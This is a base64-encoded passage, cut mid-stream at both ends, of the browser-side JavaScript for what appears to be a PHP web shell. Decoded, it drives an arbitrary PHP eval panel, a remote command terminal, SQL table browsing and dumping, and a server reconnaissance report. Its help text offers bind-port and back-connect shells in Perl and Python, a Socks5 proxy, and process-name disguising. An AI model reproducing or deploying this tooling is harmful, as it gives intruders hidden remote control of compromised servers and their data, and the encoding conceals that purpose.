GF0YSBpbiB0YWJsZSAnICsgdiA6ICdUYWJsZSAnICsgdiArICcgaXMgZW1wdHknLCAnSW5mJyk7CiB9CiB2YXIgaXNOb3RQZ25ibCA9ICEoJ28nIGluIGRhdGEpOwogbGlzdERhdGEoKGlzTm90UGduYmwgPyAnVG9wICcgKyBkYXRhLnIubGVuZ3RoICsgJyByb3dzJyA6ICdSb3dzICcgKyBkYXRhLm8gKyAnLScgKyAoZGF0YS5vICsgZGF0YS5yLmxlbmd0aCAtIDEpKSArICcgZnJvbSB0YWJsZSAnICsgZGF0YS5iICsgJy4nICsgKCdzJyBpbiBkYXRhID8gZGF0YS5zICsgJy4nIDogJycpICsgZGF0YS50LCBkYXRhKTsKIHZhciBmcm1QZyA9IGVsbUJ5SWQoJ2ZybVBnJyk7CiBmcm1QZy5iLnZhbHVlID0gZGF0YS5iOwogZnJtUGcucy52YWx1ZSA9ICgncycgaW4gZGF0YSkgPyBkYXRhLnMgOiAnJzsKIGZybVBnLnQudmFsdWUgPSBkYXRhLnQ7CiBmcm1QZy5vLnZhbHVlID0gMDsKIGZybVBnLm8uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogZnJtUGcuZWxlbWVudHNbM10uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogZnJtUGcuZWxlbWVudHNbNV0uZGlzYWJsZWQgPSBpc05vdFBnbmJsOwogaWYgKGZybVBnLnN0eWxlLmRpc3BsYXkgIT09ICdibG9jaycpIGZybVBnLnN0eWxlLmRpc3BsYXkgPSAnYmxvY2snOwogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gY2huZ1BnKHYpIHsKIHZhciBlbG1zID0gZWxtQnlJZCgnZnJtUGcnKSwKICBjaGxkcyA9IFtdLAogIHZhbCA9IChlbG1zLm8udmFsdWUgfCAwKSArIHYgKiAoZWxtcy5yLnZhbHVlIHwgMCksCiAgZGF0YSA9IHsKICAgYjogZWxtcy5iLnZhbHVlLAogICB0OiBlbG1zLnQudmFsdWUsCiAgIG86IHZhbCA+IDAgPyB2YWwgOiAwLAogICByOiBlbG1zLnIudmFsdWUgfCAwLAogICBmOiBbXQogIH07CiBpZiAoZWxtcy5zLnZhbHVlICE9PSAnJykgZGF0YS5zID0gZWxtcy5zLnZhbHVlOwogdmFyIHBybnQgPSBzcmNoSXRtKGVsbUJ5SWQoJ2RpdlNjaG0nKSwgJ2JbXScsIGRhdGEuYik7CiBpZiAocHJudCAmJiBwcm50Lmxhc3RDaGlsZC5jbGFzc05hbWUgPT09ICdkaXZMc3QnKSB7CiAgaWYgKCdzJyBpbiBkYXRhKSBwcm50ID0gc3JjaEl0bShwcm50Lmxhc3RDaGlsZCwgJ3NbXScsIGRhdGEucyk7CiAgaWYgKHBybnQgJiYgcHJudC5sYXN0Q2hpbGQuY2xhc3NOYW1lID09PSAnZGl2THN0JykgewogICBwcm50ID0gc3JjaEl0bShwcm50Lmxhc3RDaGlsZCwgJ3RbXScsIGRhdGEudCk7CiAgIGlmIChwcm50ICYmIHBybnQubGFzdENoaWxkLmNsYXNzTmFtZSA9PT0gJ2RpdkxzdCcpIHsKICAgIHZhciBjaGxkcyA9IHBybnQubGFzdENoaWxkLmNoaWxkTm9kZXM7CiAgICBmb3IgKHZhciBpID0gMCwgYyA9IGNobGRzLmxlbmd0aDsgaSA8IGM7ICsraSkKICAgICBpZiAoY2hsZHNbaV0uZmlyc3RDaGlsZC5jaGVja2VkKSBkYXRhLmYucHVzaChjaGxkc1tpXS5maXJzdENoaWxkLnZhbHVlKTsKICAgfQogIH0KIH0KIGlmIChkYXRhLmYubGVuZ3RoID09PSAwKSBkYXRhLmYgPSAnJzsKIHJldHVybiBzcWxBanhTbmQoJ0xvYWQgZGF0YSBmcm9tIHRhYmxlICcgKyBkYXRhLmIgKyAnLicgKyAoJ3MnIGluIGRhdGEgPyBkYXRhLnMgKyAnLicgOiAnJykgKyBkYXRhLnQgKyAnICgnICsgZGF0YS5vICsgJy0nICsgKGRhdGEubyArIGRhdGEucikgKyAnKScsIG9uR2V0RGF0YSwgZGF0YSk7Cn0KCmZ1bmN0aW9uIHF1ZXJ5KCkgewogdmFyIHYgPSBlbG1CeUlkKCdmcm1TUUwnKS5xLnZhbHVlOwogcmV0dXJuIHYgPT09ICcnID8gZmFsc2UgOiBzcWxBanhTbmQodiwgb25RdWVyeSwgewogIHE6IHYKIH0pOwp9CgpmdW5jdGlvbiBvblF1ZXJ5KGRpdiwgZGF0YSkgewogaWYgKCdlJyBpbiBkYXRhKSByZXR1cm4gdWlDaG5nTXNnKGRpdiwgZGF0YS5lLCAnRXJyJyk7CiBpZiAoZGF0YS5mLmxlbmd0aCA9PT0gMCkgcmV0dXJuIHVpQ2huZ01zZyhkaXYsICdRdWVyeSBzdWNjZXNzZnVsbHkgY29tcGxldGVkICgnICsgZGF0YS5xICsgJyknLCAnSW5mJyk7CiBlbG1CeUlkKCdmcm1QZycpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7CiBsaXN0RGF0YShkYXRhLnEsIGRhdGEpOwogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gZ2V0RHVtcExpc3QoZGF0YSwgZWxtcywgcHJmeCkgewogdmFyIG4gPSAwLAogIGluZHggPSBlbG1zWzBdLmZpcnN0Q2hpbGQubmFtZS5zbGljZSgwLCAxKSArICdbJyArIHByZnggKyAnXSc7CiBkYXRhW2luZHhdID0gW107CiBmb3IgKHZhciBpID0gMCwgYyA9IGVsbXMubGVuZ3RoOyBpIDwgYzsgKytpKSB7CiAgaWYgKGVsbXNbaV0uZmlyc3RDaGlsZC5jaGVja2VkKSBkYXRhW2luZHhdW24rK10gPSBlbG1zW2ldLmZpcnN0Q2hpbGQudmFsdWU7CiAgZWxzZSBpZiAoZWxtc1tpXS5maXJzdENoaWxkLmluZGV0ZXJtaW5hdGUpIHsKICAgZGF0YVtpbmR4XS5wdXNoKGVsbXNbaV0uZmlyc3RDaGlsZC52YWx1ZSk7CiAgIGdldER1bXBMaXN0KGRhdGEsIGVsbXNbaV0ubGFzdENoaWxkLmNoaWxkTm9kZXMsIHByZnggKyAnLScgKyBuKTsKICAgbisrOwogIH0KIH0KfQoKZnVuY3Rpb24gZHVtcCgpIHsKIHZhciBkYXRhID0gewogICBkOiBbXSwKICAgbzogZWxtQnlJZCgnc2xjdERtcEZybXQnKS52YWx1ZQogIH0sCiAgZWxtcyA9IGVsbUJ5SWQoJ2RpdlNjaG0nKS5jaGlsZE5vZGVzLAogIG4gPSAwOwogZm9yICh2YXIgaSA9IDAsIGMgPSBlbG1zLmxlbmd0aDsgaSA8IGM7ICsraSkgewogIGlmIChlbG1zW2ldLmZpcnN0Q2hpbGQuY2hlY2tlZCkgZGF0YS5kW24rK10gPSBlbG1zW2ldLmZpcnN0Q2hpbGQudmFsdWU7CiAgZWxzZSBpZiAoZWxtc1tpXS5maXJzdENoaWxkLmluZGV0ZXJtaW5hdGUpIHsKICAgZGF0YS5kLnB1c2goZWxtc1tpXS5maXJzdENoaWxkLnZhbHVlKTsKICAgZ2V0RHVtcExpc3QoZGF0YSwgZWxtc1tpXS5sYXN0Q2hpbGQuY2hpbGROb2RlcywgbisrKTsKICB9CiB9CiBpZiAobikgc3FsQWp4U25kKCdEb3dubG9hZCBTUUwgZHVtcCAoY2xvc2UgdGhpcyBtZXNzYWdlIGFmdGVyIHN0YXJ0IGRvd25sb2FkKScsIG9uRHVtcCwgZGF0YSk7Cn0KCmZ1bmN0aW9uIG9uRHVtcChkaXYsIGRhdGEpIHsKIHVpQ2huZ01zZyhkaXYsIGRhdGEuZSwgJ0VycicpOwp9CgpmdW5jdGlvbiBvblBIUEtleUR3bihlKSB7CiBpZiAoZS5jdHJsS2V5ICYmIGUua2V5Q29kZSA9PT0gMTMpIHJldHVybiBldmwoKTsKfQoKZnVuY3Rpb24gb25QSFBSZXNLZXlEd24oZSkgewogaWYgKGUuY3RybEtleSAmJiBlLmtleUNvZGUgPT09IDY1KSB7CiAgdWlTbGN0VHh0KCdwcmVQSFAnKTsKICBlLnByZXZlbnREZWZhdWx0KCk7CiB9Cn0KCmZ1bmN0aW9uIHVpQ2huZ0NtcHMoKSB7CiB2YXIgbGJsID0gZWxtQnlJZCgnYUNtcHMnKSwKICBmcm0gPSBlbG1CeUlkKCdkaXZQSFAnKS5zdHlsZTsKIGlmIChsYmwuY2xhc3NOYW1lID09PSAnY21wc1JvdycpIHsKICBsYmwuY2xhc3NOYW1lID0gJ2NtcHNDb2wnOwogIGZybS5mbGV4RGlyZWN0aW9uID0gJ2NvbHVtbic7CiB9IGVsc2UgewogIGxibC5jbGFzc05hbWUgPSAnY21wc1Jvdyc7CiAgZnJtLmZsZXhEaXJlY3Rpb24gPSAncm93JzsKIH0KIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gZXZsKCkgewogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVBIUCcpOwogaWYgKGZybS5lLnZhbHVlID09PSAnJykgZWxtQnlJZCgncHJlUEhQJykuaW5uZXJIVE1MID0gJyc7CiBlbHNlIGFqeFNuZCgnRXZhbCBQSFAgY29kZScsIG9uRXZsLCBmcm0sIHsKICBhOiAncCcKIH0sIGVsbUJ5SWQoJ3NsY3RQSFBDUycpLnZhbHVlKTsKIHJldHVybiBmYWxzZTsKfQoKZnVuY3Rpb24gb25FdmwoZGl2LCBkYXRhKSB7CiB2YXIgZWxtID0gZWxtQnlJZCgncHJlUEhQJyksCiAgY2hyID0gZGF0YS5zbGljZSgtMSk7CiBpZiAoJ2NyZWF0ZVNoYWRvd1Jvb3QnIGluIGVsbSkgewogIGlmIChlbG0uc2hhZG93Um9vdCA9PT0gbnVsbCkgZWxtLmNyZWF0ZVNoYWRvd1Jvb3QoKTsKICBlbG0gPSBlbG0uc2hhZG93Um9vdDsKIH0KIGlmIChjaHIgPT09ICJceDA2IiAmJiBlbG1CeUlkKCdjYkNsbklucCcpLmNoZWNrZWQpIGVsbUJ5SWQoJ3R4dFBIUCcpLnZhbHVlID0gJyc7CiBpZiAoZWxtQnlJZCgnY2JDbG5PdXQnKS5jaGVja2VkKSBlbG0uaW5uZXJIVE1MID0gJyc7CiBpZiAoY2hyID09PSAiXHgxNSIgJiYgZGF0YS5zbGljZSgwLCAtMykgPT09ICcnICYmICFlbG1CeUlkKCdmcm1QSFAnKS5oLmNoZWNrZWQpIGRhdGEgPSAnXG5GYXRhbCBlcnJvcjogWW91IGhhdmUgc3ludGF4IGVycm9yIGluIFBIUCBjb2RlXG4nOwogZWxzZSBkYXRhID0gZGF0YS5zbGljZSgwLCAtMyk7CiBpZiAoZWxtQnlJZCgnY2JIVE1MJykuY2hlY2tlZCkgewogIHZhciBkaXZSc3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdpZnJhbWUnKTsKICBkaXZSc3Quc3R5bGUgPSAnYWxsOmluaXRpYWw7aXNvbGF0aW9uOmlzb2xhdGU7d2lkdGg6MTAwJTtoZWlnaHQ6MTAwJTsnOwogIGRpdlJzdC5zcmNkb2MgPSBkYXRhOwogIGVsbS5hcHBlbmRDaGlsZChkaXZSc3QpOwogfSBlbHNlIGVsbS5hcHBlbmRDaGlsZChkb2N1bWVudC5jcmVhdGVUZXh0Tm9kZShkYXRhKSk7CiB1aURlbE1zZyhkaXYpOwp9CgpmdW5jdGlvbiBwaHBTYXZlU3RhdGUoKSB7CiBzdHJnU2F2ZUJvb2woJ3BocENobmdDbXBzJywgZWxtQnlJZCgnYUNtcHMnKS5jbGFzc05hbWUgPT09ICdjbXBzQ29sJyk7CiBzdHJnU2F2ZUJvb2woJ3BocENsbklucCcsICdjYkNsbklucCcpOwogc3RyZ1NhdmVCb29sKCdwaHBDbG5PdXQnLCAnY2JDbG5PdXQnKTsKIHN0cmdTYXZlQm9vbCgncGhwSFRNTCcsICdjYkhUTUwnKTsKIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1QSFAnKTsKIHN0cmdTYXZlQm9vbCgncGhwU2lsZW50JywgZnJtLmguY2hlY2tlZCk7CiBzdHJnU2F2ZU9wdCgncGhwU2VuZEFzJywgZWxtQnlJZCgnc2xjdFBIUENTJykudmFsdWUpOwogc3RyZ1NhdmVPcHQoJ3BocExvYWRBcycsIGZybS5jLnZhbHVlKTsKfQoKZnVuY3Rpb24gcGhwUmVzdG9yZVN0YXRlKCkgewogaWYgKHNlc3Npb25TdG9yYWdlLmdldEl0ZW0oJ3BocENobmdDbXBzJykpIHVpQ2huZ0NtcHMoKTsKIHN0cmdSc3RyQ2hjaygncGhwQ2xuSW5wJywgJ2NiQ2xuSW5wJyk7CiBzdHJnUnN0ckNoY2soJ3BocENsbk91dCcsICdjYkNsbk91dCcpOwogc3RyZ1JzdHJDaGNrKCdwaHBIVE1MJywgJ2NiSFRNTCcpOwogdmFyIGZybSA9IGVsbUJ5SWQoJ2ZybVBIUCcpOwogc3RyZ1JzdHJDaGNrKCdwaHBTaWxlbnQnLCBmcm0uaCk7CiBzdHJnUnN0clZhbCgncGhwU2VuZEFzJywgJ3NsY3RQSFBDUycpOwogc3RyZ1JzdHJWYWwoJ3BocExvYWRBcycsIGZybS5jKTsKfQp2YXIgdHJtSGlzdCA9IHN0cmdSc3RyQXJyKCd0cm1IaXN0JyksCiB0cm1JbmR4ID0gdHJtSGlzdC5sZW5ndGg7CgpmdW5jdGlvbiBvblRybUNsaWNrKGUpIHsKIGlmIChlLnRhcmdldCA9PT0gZWxtQnlJZCgnZGl2VHJtJykpIGVsbUJ5SWQoJ2lucFRybScpLmZvY3VzKCk7Cn0KCmZ1bmN0aW9uIG9uVHJtUmVzS2V5RHduKGUpIHsKIGlmIChlLmN0cmxLZXkgJiYgZS5rZXlDb2RlID09PSA2NSkgewogIHVpU2xjdFR4dCgncHJlVHJtJyk7CiAgZS5wcmV2ZW50RGVmYXVsdCgpOwogfQp9CgpmdW5jdGlvbiBvblRybUlucEtleUR3bihlKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtVHJtJyksCiAgaW5wID0gZnJtLmU7CiBpZiAoZS5rZXlDb2RlID09PSAzOCkgewogIGlmICh0cm1JbmR4ID4gMCkgaW5wLnZhbHVlID0gdHJtSGlzdFstLXRybUluZHhdOwogfSBlbHNlIGlmIChlLmtleUNvZGUgPT09IDQwKSB7CiAgdmFyIHZhbCA9IHRybUhpc3QubGVuZ3RoOwogIGlmICh0cm1JbmR4IDwgdmFsIC0gMSkgaW5wLnZhbHVlID0gdHJtSGlzdFsrK3RybUluZHhdOwogIGVsc2UgewogICBpbnAudmFsdWUgPSAnJzsKICAgaWYgKHRybUluZHggPCB2YWwpICsrdHJtSW5keDsKICB9CiB9IGVsc2UgaWYgKGUuY3RybEtleSAmJiBlLmtleUNvZGUgPT09IDc2KSBlbG1CeUlkKCdwcmVUcm0nKS50ZXh0Q29udGVudCA9ICcnOwogZWxzZSBpZiAoZS5rZXlDb2RlID09PSAxMykgZXhlYygpOwogZWxzZSByZXR1cm47CiBlLnByZXZlbnREZWZhdWx0KCk7Cn0KCmZ1bmN0aW9uIHBybnRNc2cobXNnKSB7CiBpZihlbG1CeUlkKCdjYklUJykuY2hlY2tlZCkKICAgIGVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gZWxtQnlJZCgnc3BuVXNySHN0JykudGV4dENvbnRlbnQgKyAnOicgKyBlbG1CeUlkKCdzcG5QdGgnKS50ZXh0Q29udGVudCArICckICcgKyBtc2cgKyAnXG4nICsgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQ7CiBlbHNlewogICAgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQgKz0gZWxtQnlJZCgnc3BuVXNySHN0JykudGV4dENvbnRlbnQgKyAnOicgKyBlbG1CeUlkKCdzcG5QdGgnKS50ZXh0Q29udGVudCArICckICcgKyBtc2cgKyAnXG4nOwogICAgdmFyIHRybSA9IGVsbUJ5SWQoJ2RpdlRybScpOwogICAgdHJtLnNjcm9sbFRvcCA9IHRybS5zY3JvbGxIZWlnaHQ7CiB9CiByZXR1cm4gZmFsc2U7Cn0KCmZ1bmN0aW9uIGV4ZWMoKSB7CiB2YXIgZnJtID0gZWxtQnlJZCgnZnJtVHJtJyksCiAgY21kID0gZnJtLmUudmFsdWUudHJpbSgpLAogIHZhbCA9IGNtZC5tYXRjaCgvISghfCg/Oi0/WzAtOV0rKSkvKTsKIGlmICh2YWwgIT09IG51bGwpIHsKICB2YWwgPSB2YWxbMV0gfCAwOwogIGlmICh2YWwgPj0gMCkgLS12YWw7CiAgY21kID0gdHJtSGlzdFt2YWwgPCAwID8gdHJtSGlzdC5sZW5ndGggKyB2YWwgOiB2YWxdOwogIGZybS5lLnZhbHVlID0gY21kOwogfQogaWYgKHRybUhpc3Quc2xpY2UoLTEpWzBdICE9PSBjbWQpIHRybUhpc3QucHVzaChjbWQpOwogdHJtSW5keCA9IHRybUhpc3QubGVuZ3RoOwogaWYgKGNtZCA9PT0gJz8nKSB7CiAgdmFsID0gJyAgRm9yIG1vcmUgaW5mb3JtYXRpb24gcnVuIGNvbW1hbmQgd2l0aG91dCBwYXJhbXMuXG5cbic7CiAgcHJudE1zZygnP1xuXG4nICsgJ2NscywgY2xlYXJcbicgKyAnICBDbGVhciB0ZXJtaW5hbCB3aW5kb3cuXG4nICsgJyAgKiBZb3UgY2FuIGNsZWFyIHRlcm1pbmFsIHdpbmRvdyBwcmVzc2luZyBDdHJsK0xcblxuJyArICdoaXN0b3J5XG4nICsgJyAgICAgICBTaG93IGFsbCBjb21hbmRzLlxuJyArICcgIG4gICAgU2hvdyBsYXN0IG4gY29tbWFuZHMuXG4nICsgJyAgISEgICBFeGVjdXRlIGxhc3QgY29tbWFuZC5cbicgKyAnICAhbiAgIEV4ZWN1dGUgY29tbWFuZCBudW1iZXIgbi4gSWYgdmFsdWUgbmVnYXRpdmUgdGhlbiBjb3VudGluZyBzdGFydHMgYXQgZW5kLlxuJyArICcgICogWW91IGNhbiBuYXZpZ2F0ZSB0aHJvdWdoIGhpc3RvcnkgdXNpbmcgVVAgYW5kIERPV04ga2V5cy5cblxuJyArICdyZXBvcnRcbicgKyAnICBDcmVhdGUgc2VydmVyIGluZm9ybWF0aW9uIHJlcG9ydC5cbicgKyAnICBGb3IgbW9yZSBpbmZvcm1hdGlvbiBydW4gY29tbWFuZCB3aXRoIHF1ZXN0aW9uIHBhcmFtLlxuXG4nICsgJ3NvY2tzNS5wZXJsXG4nICsgJyAgUnVuIFNvY2tzNSBzZXJ2ZXIgdXNpbmcgUGVybC5cbicgKyB2YWwgKyAnYmluZHBvcnQucGVybFxuJyArICcgIE9wZW4gcG9ydCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGNvbm5lY3RlZCBjbGllbnQgdXNpbmcgUGVybC5cbicgKyB2YWwgKyAnYmFja2Nvbm5lY3QucGVybFxuJyArICcgIENvbm5lY3QgdG8gY2xpZW50IGFuZCBwcm92aWRlIHNoZWxsIGFjY2VzcyBmb3IgaGltIHVzaW5nIFBlcmwuXG4nICsgdmFsICsgJ3NvY2tzNS5weXRob25cbicgKyAnICBSdW4gU29ja3M1IHNlcnZlciB1c2luZyBQeXRob24uXG4nICsgdmFsICsgJ2JpbmRwb3J0LnB5dGhvblxuJyArICcgIE9wZW4gcG9ydCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGNvbm5lY3RlZCBjbGllbnQgdXNpbmcgUHl0aG9uLlxuJyArIHZhbCArICdiYWNrY29ubmVjdC5weXRob25cbicgKyAnICBDb25uZWN0IHRvIGNsaWVudCBhbmQgcHJvdmlkZSBzaGVsbCBhY2Nlc3MgZm9yIGhpbSB1c2luZyBQeXRob24uXG4nICsgdmFsKTsKIH0gZWxzZSBpZiAoY21kID09PSAnY2xzJyB8fCBjbWQgPT09ICdjbGVhcicpIGVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gJyc7CiBlbHNlIHsKICB2YWwgPSBjbWQubWF0Y2goL2hpc3RvcnkgPyhbMC05XSopL2kpOwogIGlmICh2YWwgIT09IG51bGwpIHsKICAgdmFsID0gdmFsWzFdIHwgMDsKICAgdmFyIHMgPSBjbWQgKyAnXG4nOwogICBmb3IgKHZhciBjID0gdHJtSGlzdC5sZW5ndGgsIGkgPSAodmFsID4gMCAmJiBjID4gdmFsKSA/IGMgLSB2YWwgOiAwOyBpIDwgYzsgKytpKSBzICs9ICdcdCcgKyAoaSArIDEpICsgJ1x0JyArIHRybUhpc3RbaV0gKyAnXG4nOwogICBwcm50TXNnKHMpOwogIH0gZWxzZSB7CiAgIHZhbCA9IGNtZC5zcGxpdCgnICcsIDQpOwogICB2YXIgdXNnID0gY21kICsgJ1xuJyArICdVc2FnZTpcbiAgJyArIHZhbFswXSwKICAgIG9wdCA9ICcgPHBvcnQ+IFtvcHRpb25zXVxuT3B0aW9ucyAob3B0aW9uIHZhbHVlIGNhblwndCBjb250YWluIHdoaXRlc3BhY2UpOlxuICAtaSA8ZmlsZT4gIFVzZSBpbnRlcnByZXRlciA8ZmlsZT4uIERlZmF1bHQ6ICcsCiAgICBwZXJsID0gJzw/cGhwIGVjaG8gTklYPyIvdXNyL2Jpbi9wZXJsIjoicGVybC5leGUiOz8+XG4nLAogICAgcHRobiA9ICc8P3BocCBlY2hvIE5JWD8iL3Vzci9iaW4vcHl0aG9uIjoicHl0aG9uLmV4ZSI7Pz5cbicsCiAgICBvcHRhID0gJyAgLWEgPGFkZHI+ICBMaXN0ZW4gb25seSBvbiBJUCBhZGRyZXNzIDxhZGRyPi4gRGVmYXVsdCBsaXN0ZW5pbmcgb24gYWxsIGFkcmVzc2VzXG4nLAogICAgb3B0biA9ICcgIC1uIDxuYW1lPiAgU2V0IHByb2Nlc3MgbmFtZSB0byA8bmFtZT4uIERlZmF1bHQgdmFsdWUgaXMgc2VjcmV0IDspXG4nLAogICAgb3B0cyA9ICcgIC1zIDxmaWxlPiAgVXNlIHNoZWxsIDxmaWxlPi4gRGVmYXVsdDogPD9waHAgZWNobyBOSVg/Ii9iaW4vc2giOiJjbWQiOz8+XG4nLAogICAgb3B0dCA9ICcgIC10ICAgICAgICAgT3BlbiBQVFlcbicsCiAgICBvcHRsID0gJyAgLXMgPHU6cD4gICBTZWN1cmUgd2l0aCBhdXRoZW50aWNhdGlvbiAodSAtIHVzZXJuYW1lLCBwIC0gcGFzc3dvcmQpXG4nLAogICAgaWduID0gJyAgICAgdSAtIFVzZXJzIGFuZCBHcm91cHM7XG4gICAgIGUgLSBFbnZpcm9ubWVudDtcbiAgICAgcCAtIFByb2Nlc3NlcztcbiAgICAgbiAtIE5ldHdvcms7XG4nOwogICBpZiAodmFsWzBdID09PSAnYmFja2Nvbm5lY3QucGVybCcgJiYgdmFsLmxlbmd0aCA8IDMpIHBybnRNc2codXNnICsgJyA8aXA+JyArIG9wdCArIHBlcmwgKyBvcHRzICsgb3B0bik7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JpbmRwb3J0LnBlcmwnICYmIHZhbC5sZW5ndGggPCAyKSBwcm50TXNnKHVzZyArIG9wdCArIHBlcmwgKyBvcHRhICsgb3B0cyArIG9wdG4pOwogICBlbHNlIGlmICh2YWxbMF0gPT09ICdzb2NrczUucGVybCcgJiYgdmFsLmxlbmd0aCA8IDIpIHBybnRNc2codXNnICsgb3B0ICsgcGVybCArIG9wdGEgKyBvcHRsICsgb3B0bik7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JhY2tjb25uZWN0LnB5dGhvbicgJiYgdmFsLmxlbmd0aCA8IDMpIHBybnRNc2codXNnICsgJyA8aXA+JyArIG9wdCArIHB0aG4gKyBvcHRzICsgb3B0dCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ2JpbmRwb3J0LnB5dGhvbicgJiYgdmFsLmxlbmd0aCA8IDIpIHBybnRNc2codXNnICsgb3B0ICsgcHRobiArIG9wdGEgKyBvcHRzICsgb3B0dCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ3NvY2tzNS5weXRob24nICYmIHZhbC5sZW5ndGggPCAyKSBwcm50TXNnKHVzZyArIG9wdCArIHB0aG4gKyBvcHRhICsgb3B0bCk7CiAgIGVsc2UgaWYgKHZhbFswXSA9PT0gJ3JlcG9ydCcgJiYgdmFsWzFdID09PSAnPycpIHBybnRNc2codXNnICsgJyBbb3B0aW9uc11cbk9wdGlvbnM6XG4gIC1mIDxmaWxlPiAgIFNhdmUgcmVwb3J0IHRvIDxmaWxlPlxuICAtcyBbZmxhZ3NdICBTa2lwIHNvbWUgaW5mb3JtYXRpb25cbiAgICAgRmxhZ3M6XG48P3BocCBlY2hvIE5JWD8nby1PUyBJZGVudGlmaWNhdGlvbjtcbiBsLUxhbmdzO1xuIGMtQ1BVO1xuIHItQ3JvbjtcbiBoLUhpc3RvcmllcztcbiBmLUZpbGUgU3lzdGVtO1xuIHMtU1VJRCBGaWxlcztcbic6J3MtU3lzdGVtIEluZm87XG4gdC1UYXNrcztcbiByLVNoYXJlO1xuJzs/PicgKyBpZ24pOwogICBlbHNlIHsKICAgIHZhbCA9IGVsbUJ5SWQoJ3NwblB0aCcpLnRleHRDb250ZW50OwogICAgYWp4U25kKGVsbUJ5SWQoJ3NwblVzckhzdCcpLnRleHRDb250ZW50ICsgJzonICsgdmFsICsgJyQgJyArIGNtZCwgb25FeGVjLCBmcm0sIHsKICAgICBhOiAndCcsCiAgICAgcDogdmFsCiAgICB9LCBlbG1CeUlkKCdzbGN0VHJtQ1MnKS52YWx1ZSk7CiAgIH0KICB9CiB9CiBmcm0uZS52YWx1ZSA9ICcnOwogcmV0dXJuIGZhbHNlOwp9CgpmdW5jdGlvbiBvbkV4ZWMoZGl2LCBkYXRhKSB7CiB2YXIgY21kID0gZGl2LmNoaWxkTm9kZXNbMV0udGV4dENvbnRlbnQuc2xpY2UoMCwgLTIpOwogaWYgKGRhdGEgPT09ICdceDAzXHgxRScpIHJldHVybiB1aUNobmdNc2coZGl2LCAnRXJyb3IgaW4gY29tbWFuZDogJyArIGNtZCwgJ0VycicpOwogZGF0YSA9IGRhdGEuc2xpY2UoMCwgLTMpOwogdmFyIHBvcyA9IGRhdGEubGFzdEluZGV4T2YoJ1x4MDNceDFFXHgwMlx4MEEnKTsKIGlmIChwb3MgPiAtMSkgewogIHZhciBpbmYgPSBkYXRhLnNsaWNlKHBvcyArIDQpLnNwbGl0KCdcbicsIDMpOwogIGVsbUJ5SWQoJ3NwblVzckhzdCcpLnRleHRDb250ZW50ID0gaW5mWzBdICsgJ0AnICsgaW5mWzFdOwogIGVsbUJ5SWQoJ3NwblB0aCcpLnRleHRDb250ZW50ID0gaW5mWzJdOwogIGRhdGEgPSBkYXRhLnNsaWNlKDAsIHBvcyk7CiB9IGVsc2UgZGF0YSArPSAnXG4nOwogaWYoZWxtQnlJZCgnY2JJVCcpLmNoZWNrZWQpewoJZWxtQnlJZCgnZGl2VHJtJykuYXBwZW5kKGVsbUJ5SWQoJ3ByZVRybScpKTsKCWVsbUJ5SWQoJ3ByZVRybScpLnRleHRDb250ZW50ID0gY21kICsgJ1xuJyArIGRhdGEgKyAnXG4nICsgZWxtQnlJZCgncHJlVHJtJykudGV4dENvbnRlbnQ7CiB9CiBlbHNlewoJZWxtQnlJZCgnZGl2VHJtJykucHJlcGVuZChlbG1CeUlkKCdwcmVUcm0nKSk7CgllbG1CeUlkKCdwcmVUcm0nKS50ZXh0Q29udGVudCArPSBjbWQgKyAnXG4nICsgZGF0YSArICdcbic7Cglwb3MgPSBlbG1CeUlkKCdkaXZUcm0nKTsKCXBvcy5zY3JvbGxUb3AgPSBwb3Muc2Nyb2xsSGVpZ2h0OwogfQogdWlEZWxNc2coZGl2KTsKfQoKZnVuY3Rpb24gdHJtU2F2ZVN0YXRlKCkgewogaWYgKGV4ZUZ1bmNzLmxlbmd0aCA9PT0gMCkgcmV0dXJuOwogdmFyIGUgPSBlbG1CeUlkKCdmcm1Ucm0nKTsKIHN0cmdTYXZlU3RyKCd0cm1TaGVsbCcsIGUucy52YWx1ZSk7CiBzdHJnU2F2ZUJvb2woJ3RybVNpbGVudCcsIGUuaC5jaGVja2VkKTsKIHN0cmdTYXZlT3B0KCd0cm1GdW5jJywgZS5mLnZhbHVlKTsKIHN0cmdTYXZlT3B0KCd0cm1Mb2FkQXMnLCBlLmMudmFsdWUpOwogc3RyZ1NhdmVPcHQoJ3RybVNlbmRBcycsIGVsbUJ5SWQoJ3NsY3RUcm1DUycpLnZhbHVlKTsKIHN0cmdTYXZlU3RyKCd0cm1QYXRoJywgZWxtQnlJZCgnc3BuUHRoJykudGV4dENvbnRlbnQpOwogc3RyZ1NhdmVBcnIoJ3RybUhpc3QnLCB0cm1IaXN0KTsKfQoKZnVuY3Rpb24gdHJtUmVzdG9yZVN0YXRlKCkgewogdmFyIGNudCA9IGV4ZUZ1bmNzLmxlbmd0aDsKIGlmIChjbnQgPT09IDApIHsKICBlbG1CeUlkKCd0YWJUcm0nKS5zdHlsZS5kaXNwbGF5ID0gJ25vbmUnOwogIHJldHVybjsKIH0KIHZhciBmcm0gPSBlbG1CeUlkKCdmcm1Ucm0nKSwKICB2YWwgPSBzZXNzaW9uU3RvcmFnZS5nZXRJdGVtKCd0cm1GdW5jJykgfCAwOwogZm9yICh2YXIgaSA9IDA7IGkgPCBjbnQ7ICsraSkgewogIHZhciBvcHQgPSBuZXcgT3B0aW9uKGV4ZUZ1bmNzW2ldWzFdLCBleGVGdW5jc1tpXVswXSk7CiAgaWYgKGV4ZUZ1bmNzW2ldWzBdID09PSB2YWwpI